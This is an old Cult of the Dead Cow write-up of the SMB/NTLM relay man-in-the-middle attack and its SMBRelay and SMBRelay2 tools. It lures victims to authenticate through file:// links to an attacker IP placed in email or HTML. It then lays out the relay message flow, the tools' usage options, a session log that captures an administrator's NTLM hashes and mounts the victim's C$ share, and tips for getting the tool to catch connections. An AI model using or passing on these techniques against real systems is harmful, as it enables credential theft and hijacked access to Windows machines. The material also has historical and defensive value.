The SMB Man-In-The-Middle Attack

Because Windows automatically tries to log in as the current user if no other authentication information is explicitly supplied, if an attacker can force a NetBIOS connection from its target it can retrieve the user authentication information of the currently logged in user. L0pht Crack's FAQ mentions this as a way to retrieve password hashes from remote networks for cracking. There are a number of ways to force a Windows machine to establish a NetBIOS connection, their FAQ reccomends sending an email with a link to file://1.2.3.4/share/whatever.html so that if the user clicks on it, it connects to 1.2.3.4's NetBIOS server as the currently logged in user transmitting the hashed password information.

It is actually very easy to force a NetBIOS connection, simply have any web browser or IE API (WinInet) based app view html that includes an image with a source URL like file://1.2.3.4/share/whatever.gif or use NBNAME /RESPOND to return the attacker's IP address in response to name queries, find a remotely accessible service (such as ftp server or http server) that doesn't properly parse or check user supplied paths or filenames and supply it with a filename like \\1.2.3.4\share\whatever.gif, and I'm sure there are many other ways yet to be discovered/revealed.

Man in the middle attacks are an old concept. However, when a target host can be forced to authenticate with an attacker and the credentials used are also valid on the server portion of the target, it becomes possible to gain access to that server as whatever user the target's client is trying to authenticate as. This is accomplished by acting as a man in the middle to both the server and the client portions of the target. This same method could be use to gain access to any server the authentication information issued by the target client is valid on (for instance, any other server in the same domain). After the authentication has been completed, the target's client is disconnected and the attacker remains connected to the target's server as whatever user the target is logged in as, hijacking the connection.

SMB uses a challenge-response method of authentication to prevent replay attacks and complicate cracking. The challenge is 8 bytes of randomly generated data which the client encrypts using the password as an encryption key. The negotiation flow is usually like this:

Client->Server
Session request, workstation service requests connection to server
service.
Server->Client
Session response, yes that NetBIOS name is connectable here.
Client->Server
Negotiation, which dialect do you want to speak with me?
Server->Client
Dialect selection, let's speak this dialect. Here's the challenge data to
encrypt with your password.
Client->Server
Session setup, here's my username and your challenge encrypted
with the password hash I want to logon as.
Server->Client
Session setup response, yes ok you are connected as that user.

To gain access to a server once a NetBIOS connection has been received from a target client, the flow would be:

Target client->Attacker

Session request, workstation service requests connection to some server name.

Attacker->Target server

Session request, some workstation requests connection to server service.

Target Server->Attacker

Session response, yes you can connect to that name.

Attacker->Target client

Session response, yes you can connect to that name.

Target client->Attacker

Negotiation, which dialect do you want to talk?

Attacker->Target server

Negotiation, would you like to talk to me as if I'm an NT 4 box without extended security?

Target server->Attacker

Dialect selection, ok let's talk that way, here's my challenge.

Attacker->Target client

Dialect selection, let's speak this way, here's a challenge.

Target client->Attacker

Session setup, here's my username and password encrypted with your challenge.

Attacker->Target server

Session setup, here's the username and encrypted password I want to logon as.

Target server->Attacker

Session setup response, ok you are connected now.

Attacker->Target client

snip

Attacker->Target server

(Attacker does whatever the target client user can do)

Once connected, a target can verify the relayed connection using:

```
net session
```

SMBRelay

Smbrelay is a program that receives a connection on port 139, connects back to the connecting computer's port 139 or to another target server, and relays the packets between the client and server of the connecting Windows machine, making modifications to these packets when necessary.

After connecting and authenticating it disconnects the target client and binds to port 139 on a new IP address. This IP address (the relay address) can then be connected to directly from windows using "net use \\192.1.1.1"
and then used by all of the networking built into Windows. It relays all the SMB trafic, except for the negotiation and authentication. You can disconnect from and reconnect to this virtual IP as long as the target host stays connected.

SMBRelay is multi-threaded and handles multiple connections simultaneously. It will create new IP addresses sequentially, removing them when the target host disconnects. It will not allow the same IP address to connect twice, unless a successful connection to that target was achieved and disconnected. If this happens, it may use the same same relay address again for another connection.

SMBRelay collects the NTLM password hashes transmitted and writes them to hashes.txt in a format usable by L0phtcrack so the passwords can be cracked later.

```
Usage: smbrelay [options]
 Options:
  /D num   - Set debug level, current valid levels: 0 (none), 1, 2
    Defaults to 0
  /E       - Enumerates interfaces and their indexes
  /F[-]    - Fake server only, capture password hashes and do not relay
    Use - to disable acting as a fake server if relay fails
  /IL num  - Set the interface index to use when adding local IP addresses
  /IR num  - Set the interface index to use when adding relay IP addresses
    Defaults to 1.  Use /E to display the adapter indexes
  /L[+] IP - Set the local IP to listen on for incoming NetBIOS connections
    Use + to first add the IP address to the NIC
    Defaults to primary host IP
  /R[-] IP - Set the starting relay IP address to use
    Use - to NOT first add each relay IP address to the NIC
    Defaults to 192.1.1.1
  /S name  - Set the source machine name
    Defaults to CDC4EVER
  /T IP    - Connect to target IP instead of back to the incoming address
```

```
c:\>smbrelay /I 2 /D 1

SMBRelay v0.98 - TCP (NetBT) level SMB man-in-the-middle relay attack
 Copyright 2001: Sir Dystic, Cult of the Dead Cow
 Send complaints, ideas and donations to sirdystic@cultdeadcow.com
Bound to port 139 on address 11.11.11.11
Connection from 60.61.62.63:1140
Request type: Session Request  72 bytes
Source name: BOB             <00>
Target name: *SMBSERVER      <20>
Setting target name to source name and source name to 'CDC4EVER'...Response:
 Positive Session Response  4 bytes

Request type: Session Message  174 bytes
SMB_COM_NEGOTIATE
Response:     Session Message  99 bytes
Challenge (8 bytes):    268B11C361473D20

Request type: Session Message  278 bytes
SMB_COM_SESSION_SETUP_ANDX
Password lengths: 24 24
Case insensitive password:  59A8A04CC37D226F0AC44065C84FDF9FEB1BB611C3CBE936
Case sensitive password:    8BA548AF1F9A517BBFBEF4E53D1D8B5D94E81C5523E7B251
Username:     "administrator"
Domain:       "BOB"
OS:           "Windows NT 1381"
```

```
Lanman type:  ""
Response:     Session Message  148 bytes
OS:           "Windows NT 4.0"
Lanman type:  "NT LAN Manager 4.0"
Domain:       "BOBSMITH"

Password hash written to disk
Connected?
Bound to port 139 on address 192.1.1.1 relaying for host BOB 60.61.62.63

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

D:\>net use \\192.1.1.1
The command completed successfully.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

*** Relay connection for target BOB received from 11.11.11.11:1472
Relay request type: Session Request  72 bytes, 72 target BOB
 *** Sent positive session response for relay target BOB
Relay request type: Session Message  174 bytes, 174 target BOB
BOB:SMB_COM_NEGOTIATE 174 bytes
0 - Dialect 2 - PC NETWORK PROGRAM 1.0
1 - Dialect 2 - XENIX CORE
2 - Dialect 2 - MICROSOFT NETWORKS 1.03
3 - Dialect 2 - LANMAN1.0
4 - Dialect 2 - Windows for Workgroups 3.1a
5 - Dialect 2 - LM1.2X002
6 - Dialect 2 - LANMAN2.1
 *** Sent dialect selection response (7) for target BOB
Relay request type: Session Message  260 bytes, 260 target BOB
BOB:SMB_COM_SESSION_SETUP_ANDX 260 bytes
 *** Sent SMB Session setup response for relay to BOB

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

D:\>net use z: \\192.1.1.1\c$
The command completed successfully.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Relay request type: Session Message  136 bytes, 136 target BOB
BOB:SMB_COM_SESSION_SETUP_ANDX 136 bytes
Received 132 byte response from target BOB
Relay request type: Session Message  81 bytes, 81 target BOB
BOB:SMB_COM_TREE_CONNECT_ANDX 81 bytes
Received 56 byte response from target BOB
Received request header, expecting 4 bytes for target BOB
Relay request type: Session Keep Alive  4 bytes, 4 target BOB

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

D:\>net use * /d /y
The command completed successfully.
```

```
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Relay request type: Session Message  39 bytes, 39 target BOB
BOB:SMB_COM_TREE_DISCONNECT 39 bytes
Received 39 byte response from target BOB
Relay request type: Session Message  39 bytes, 39 target BOB
BOB:SMB_COM_TREE_DISCONNECT 39 bytes
Received 39 byte response from target BOB
Relay request type: Session Message  43 bytes, 43 target BOB
BOB:SMB_COM_LOGOFF_ANDX 43 bytes
 *** Logoff from target BOB
 *** Relay disconnected from target BOB
Bound to port 139 on address 192.1.1.1 relaying for host BOB 60.61.62.63
Deleted relay IP address 192.1.1.1 for target BOB
*** Target BOB Disconnected
```

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Notes on using SMBRelay:

SMBRelay must first bind to port 139 to receive the incoming NetBIOS connections. First of all, because this port is below 1024 it is a priveleged port and requires administrator access to use. Administrator access is also required to add and remove IP addresses which SMBRelay does in its normal mode of operation. So SMBRELAY MUST RUN AS AN ADMINISTRATOR ACCESS ACCOUNT.

SMBRelay targets and runs best on Windows NT and 2000 machines. Connections from 9x and ME boxes will have unpredictable results.

On Win2K SMBRelay will not be able to bind to port 139 if the system is already using it because of a new socket flag Microsoft added to specifically prevent other applications from re-using a port the system is using. The easiest thing to do is to use the /L+ option to create a new IP address on your NIC and have the target connect to that address rather than your primary. Another way is to manually add a new IP address through your control panel and then use /L to specify that address.

SMBRelay will bind in front of the OS on port 139 if it can, but just because it is able to bind successfully doesn't mean that the program will actually receive the incoming connections. If there are any existing connections to the system (even in the TIME_WAIT state) when SMBRelay binds to the port, it will probably not receive any of the connections. Under Windows 98 it never seems to receive any connections. Under Windows NT, even under best circumstances it only sometimes receives the connections. Because of this I usually run several coppies of SMBRelay hopefully increasing the chances of SMBRelay getting the connections instead of the system. Under Windows 2000 the OS prevents SMBRelay from binding to the port while the OS is using it.

To create a new IP address on your computer, you must specify the interface index of the adapter to use using the /IR and/or /IL options. Use /E to list the interface indexes available. Under NT the indexes are nice simple numbers, but under 2K they use high bits so the indexes are represented as hex numbers. If you do not use the /IR option to set the relay interface it will default to 1, which is usually the loopback interface. This will allow you to connect only from your own box.

SMBRelay should run on an NT or 2K box, but MAY run on a 98 box if it is configured correctly.

However, the relaying may not work for a 98 box.

The FIRST thing that must be done to connect to the relay address is:
NET USE \\192.1.1.1
After that you can do anything else to the target directly through Windows networking using the relay IP address host name (like \\192.1.1.1).

[SMBRelay Win32 source And Binary]

SMBRelay2

SMBRelay2 works at the NetBIOS level, and should work across any protocol NetBIOS is bound to (such as NetBEUI or TCP/IP). Rather than using IP addresses, SMBRelay2 uses NetBIOS names. It also supports mitm'ing to a third host. However, it currently supports listening on only one name, so the target must attempt to connect to that name for SMBRelay2 to operate (the local name), so the target must attempt to access a resource on LocalName.

```
SMBRelay2 [Options]
 Options:
  /A LanaNum     - Use LanaNum
                 Defaults to 0
  /D DebugLevel  - Level of debug messages, valid levels 0 - 3
                 Defaults to 0
  /L LocalName   - Listen for primary connection on LocalName
                 Defaults to SERVER
  /R RelayName   - Listen for relay connection on RelayName
                 Defaults to RELAY
  /S SourceName  - Use SourceName when connecting to target
                 Defaults to CDC4EVER
  /T TargetName  - Connect to TargetName for relay
                 Defaults to connecting back to client
```

[SMBRelay2 Win32 source And Binary]